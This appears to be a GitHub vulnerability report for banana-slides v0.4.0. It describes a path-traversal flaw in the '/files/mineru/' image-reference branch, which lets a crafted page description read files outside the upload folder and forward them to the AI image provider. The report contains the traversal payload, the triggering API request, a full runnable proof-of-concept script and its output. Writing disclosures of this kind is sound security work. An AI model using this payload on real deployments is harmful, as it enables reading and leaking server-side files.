Image reference traversal through the MinerU path

Author: Vectrain51Created Sep 9, 2026Updated Sep 9, 2026
Labelsbug

Deployment Method / 部署方式

Docker Compose (docker-compose.yml)

Issue Description / 问题描述

Summary

banana-slides v0.4.0 applies a containment check to the generic /files/ image-reference branch, but the earlier /files/mineru/ branch joins an attacker-controlled suffix without normalization. A page description containing /files/mineru/../../uploads_secret/flag.png therefore makes the image-generation worker read a file outside UPLOAD_FOLDER and send it to the configured image provider.

Affected version tested: banana-slides v0.4.0 (commit 2b2e8b0364b425d2f08272361834fe449c73d2aa)

Details

extract_image_urls_from_markdown accepts any /files/-prefixed reference. AIService.generate_image handles /files/mineru/ before the guarded /files/ branch; convert_mineru_path_to_local strips the prefix and joins the remainder under uploads/mineru_files without resolving or constraining .. segments. Image.open() then reads the escaped path and the provider receives the image content.

Steps to Reproduce / 复现步骤

  1. Run the default unauthenticated deployment with UPLOAD_FOLDER=PROJECT_ROOT/uploads and a local OpenAI-compatible capture endpoint.
  2. Place a PIL-decodable decoy at PROJECT_ROOT/uploads_secret/flag.png and a legitimate image at PROJECT_ROOT/uploads/materials/ok.png.
  3. Create a project and page through the public API, then set the page description to:
![](/files/mineru/../../uploads_secret/flag.png)
  1. Trigger image generation:
http
POST /api/projects/{project_id}/pages/{page_id}/generate/image
Content-Type: application/json

{"use_template":false}
  1. Poll the returned task until completion and inspect the backend log and provider-capture requests. A legitimate control using /files/materials/ok.png should also be submitted.

The full runnable PoC content is provided below in poc.sh.

bash
#!/usr/bin/env bash
# Minimal runnable PoC for the /files/mineru/ traversal.
# 42 = bypass, 0 = blocked, 1 = harness error.
set -Eeuo pipefail

REPO="${REPO:-/banana-slides}"
APP_PORT="${APP_PORT:-5800}"
MOCK_PORT="${MOCK_PORT:-9999}"
WORK="${TMPDIR:-/tmp}/banana-49136-poc-$$"
LOG="$WORK/app.log"
mkdir -p "$WORK/stubs" "$WORK/provider"
APP_PID=""; MOCK_PID=""
cleanup() { [ -n "$APP_PID" ] && kill "$APP_PID" 2>/dev/null || true; [ -n "$MOCK_PID" ] && kill "$MOCK_PID" 2>/dev/null || true; }
trap cleanup EXIT

cd "$REPO/backend"

# The case image intentionally keeps this PoC offline; these import-only stubs
# cover optional packages that app.py imports before the exercised code path.
cat > "$WORK/stubs/dotenv.py" <<'PY'
def load_dotenv(*a, **k): return False
def find_dotenv(*a, **k): return ''
PY
cat > "$WORK/stubs/flask_cors.py" <<'PY'
class CORS:
    def __init__(self, app=None, **kw):
        if app is not None: self.init_app(app)
    def init_app(self, app, **kw): pass
PY
cat > "$WORK/stubs/flask_migrate.py" <<'PY'
class Migrate:
    def __init__(self, *a, **kw): pass
    def init_app(self, *a, **kw): pass
PY
cat > "$WORK/stubs/PyPDF2.py" <<'PY'
class PdfReader:
    def __init__(self, *a, **k): pass
class PdfWriter:
    def __init__(self, *a, **k): pass
PY
cat > "$WORK/stubs/markitdown.py" <<'PY'
class MarkItDown:
    def __init__(self, *a, **k): pass
PY
export PYTHONPATH="$WORK/stubs:$REPO/backend${PYTHONPATH:+:$PYTHONPATH}"

# Initialize only the local SQLite schema and the two control images.
python3 - "$REPO" <<'PY'
import os, sys
from pathlib import Path
from flask import Flask
from models import db
from config import Config
from PIL import Image

root = Path(sys.argv[1])
Path(root / 'backend' / 'instance').mkdir(parents=True, exist_ok=True)
app = Flask(__name__); app.config.from_object(Config); db.init_app(app)
with app.app_context(): db.create_all()
(root / 'uploads' / 'mineru_files').mkdir(parents=True, exist_ok=True)
(root / 'uploads_secret').mkdir(parents=True, exist_ok=True)
Image.new('RGB', (64, 64), (250, 87, 3)).save(root / 'uploads_secret' / 'flag.png')
(root / 'uploads' / 'materials').mkdir(parents=True, exist_ok=True)
Image.new('RGB', (64, 64), (10, 200, 10)).save(root / 'uploads' / 'materials' / 'ok.png')
print('DB_AND_DECOYS_READY', flush=True)
PY

# Capture the request sent by the real OpenAI-format provider layer.
cat > "$WORK/provider.py" <<'PY'
import base64, io, json, os
from http.server import BaseHTTPRequestHandler, HTTPServer
from PIL import Image
OUT = os.environ['CAPTURE_DIR']; os.makedirs(OUT, exist_ok=True)
def answer():
    b = io.BytesIO(); Image.new('RGB', (1, 1), (0, 0, 255)).save(b, 'PNG')
    u = 'data:image/png;base64,' + base64.b64encode(b.getvalue()).decode()
    return {'id':'mock','choices':[{'message':{'content':[{'type':'image_url','image_url':{'url':u}}], 'images':[{'image_url':{'url':u}}]}}]}
class Handler(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_POST(self):
        n = int(self.headers.get('Content-Length', 0)); body = self.rfile.read(n)
        fn = os.path.join(OUT, 'request_%03d.bin' % (len(os.listdir(OUT)) + 1))
        open(fn, 'wb').write(body)
        data = json.dumps(answer()).encode(); self.send_response(200)
        self.send_header('Content-Type', 'application/json'); self.send_header('Content-Length', str(len(data)))
        self.end_headers(); self.wfile.write(data)
HTTPServer(('127.0.0.1', int(os.environ['MOCK_PORT'])), Handler).serve_forever()
PY
CAPTURE_DIR="$WORK/provider" MOCK_PORT="$MOCK_PORT" python3 "$WORK/provider.py" >/dev/null 2>&1 & MOCK_PID=$!

AI_PROVIDER_FORMAT=openai OPENAI_API_KEY=test-key \
OPENAI_API_BASE="http://127.0.0.1:$MOCK_PORT/v1" OPENAI_MAX_RETRIES=0 \
OPENAI_TIMEOUT=30 UPLOAD_FOLDER="$REPO/uploads" FLASK_ENV=production \
LOG_LEVEL=DEBUG BACKEND_PORT="$APP_PORT" python3 app.py >"$LOG" 2>&1 & APP_PID=$!

for _ in $(seq 1 90); do
    curl -sf "http://127.0.0.1:$APP_PORT/health" >/dev/null 2>&1 && break
    kill -0 "$APP_PID" 2>/dev/null || { tail -40 "$LOG" >&2; exit 1; }
    sleep 1
done
curl -sf "http://127.0.0.1:$APP_PORT/health" >/dev/null || { echo 'BACKEND_NOT_READY' >&2; exit 1; }

# Exercise the documented API. PUT is used because v0.4.0 stores the page
# description through this route before generate/image is called.
python3 - "$APP_PORT" <<'PY'
import sys, time, requests
base = 'http://127.0.0.1:%s' % sys.argv[1]; s = requests.Session()
pid = s.post(base + '/api/projects', json={'creation_type':'idea','idea_prompt':'poc','template_style':'minimal blue'}).json()['data']['project_id']
refs = {
  'mineru': '![](/files/mineru/../../uploads_secret/flag.png)',
  'control': '![](/files/../uploads_secret/flag.png)',
  'legit': '![](/files/materials/ok.png)',
}
for name, ref in refs.items():
    page = s.post(base + '/api/projects/%s/pages' % pid, json={'order_index':0,'outline_content':{'title':name,'points':[]}}).json()['data']['page_id']
    s.put(base + '/api/projects/%s/pages/%s/description' % (pid, page), json={'description_content':{'text':ref}}).raise_for_status()
    task = s.post(base + '/api/projects/%s/pages/%s/generate/image' % (pid, page), json={'use_template':False}).json()['data']['task_id']
    status = 'TIMEOUT'
    for _ in range(180):
        time.sleep(.5); status = s.get(base + '/api/projects/%s/tasks/%s' % (pid, task)).json()['data']['status']
        if status in ('COMPLETED','FAILED'): break
    print('%s: %s' % (name, status), flush=True)
PY
sleep 2

decoy=$(grep -c 'Loaded MinerU image from local path: .*uploads_secret/flag.png' "$LOG" || true)
blocked=$(grep -c 'Path traversal attempt blocked: /files/../uploads_secret/flag.png' "$LOG" || true)
opened=$(grep -c 'Loaded image from local path: .*uploads_secret/flag.png' "$LOG" || true)
legit=$(grep -c 'Loaded image from local path: .*uploads/materials/ok.png' "$LOG" || true)
requests=$(find "$WORK/provider" -type f -name 'request_*.bin' | wc -l)
provider_decoy=$(python3 - "$WORK/provider" <<'PY'
import base64, glob, io, re, sys
from PIL import Image
for name in glob.glob(sys.argv[1] + '/request_*.bin'):
    body = open(name, 'rb').read()
    for encoded in re.findall(rb'data:image/(?:png|jpeg|webp);base64,([A-Za-z0-9+/=\r\n]+)', body):
        try:
            image = Image.open(io.BytesIO(base64.b64decode(encoded))).convert('RGB')
            pixel = image.resize((1, 1)).getpixel((0, 0))
            if max(abs(pixel[i] - (250, 87, 3)[i]) for i in range(3)) <= 8:
                print(1); raise SystemExit
        except Exception:
            pass
print(0)
PY
)
echo "decoy_open_log_count=$decoy control_blocked_log_count=$blocked control_opened_log_count=$opened legit_loaded_log_count=$legit provider_request_count=$requests provider_decoy_capture=$provider_decoy"
grep -E 'Loaded (MinerU )?image from local path' "$LOG" || true

if [ "$decoy" -ge 1 ] && [ "$legit" -ge 1 ] && [ "$requests" -ge 1 ] && [ "$provider_decoy" = 1 ]; then
    echo 'BYPASS_SUCCESS: /files/mineru/ escaped UPLOAD_FOLDER and reached the provider'
    exit 42
fi
if [ "$decoy" -eq 0 ] && [ "$legit" -ge 1 ]; then
    echo 'BYPASS_BLOCKED: decoy was not opened'
    exit 0
fi
echo 'HARNESS_ERROR: expected observations were incomplete' >&2
exit 1

Expected Behavior / 期望行为

Every client-supplied image reference should resolve inside UPLOAD_FOLDER. The traversal reference should be rejected before Image.open() or any provider request; the legitimate in-uploads reference should continue to load.

Logs

Observed output on v0.4.0 from the runnable PoC:

DB_AND_DECOYS_READY
mineru: COMPLETED
control: COMPLETED
legit: COMPLETED
decoy_open_log_count=1 control_blocked_log_count=0 control_opened_log_count=1 legit_loaded_log_count=1 provider_request_count=3 provider_decoy_capture=1
Loaded MinerU image from local path: /banana-slides/uploads/mineru_files/../../uploads_secret/flag.png
Loaded image from local path: /banana-slides/uploads_secret/flag.png
Loaded image from local path: /banana-slides/uploads/materials/ok.png
BYPASS_SUCCESS: /files/mineru/ escaped UPLOAD_FOLDER and reached the provider

The provider decoy capture and backend log confirm the server-side read and forwarding. On the fixed-tree run, the same PoC reports control_blocked_log_count=1, control_opened_log_count=0, while the /files/mineru/ traversal still succeeds.

Logs / 日志

bash

Version / 版本

No response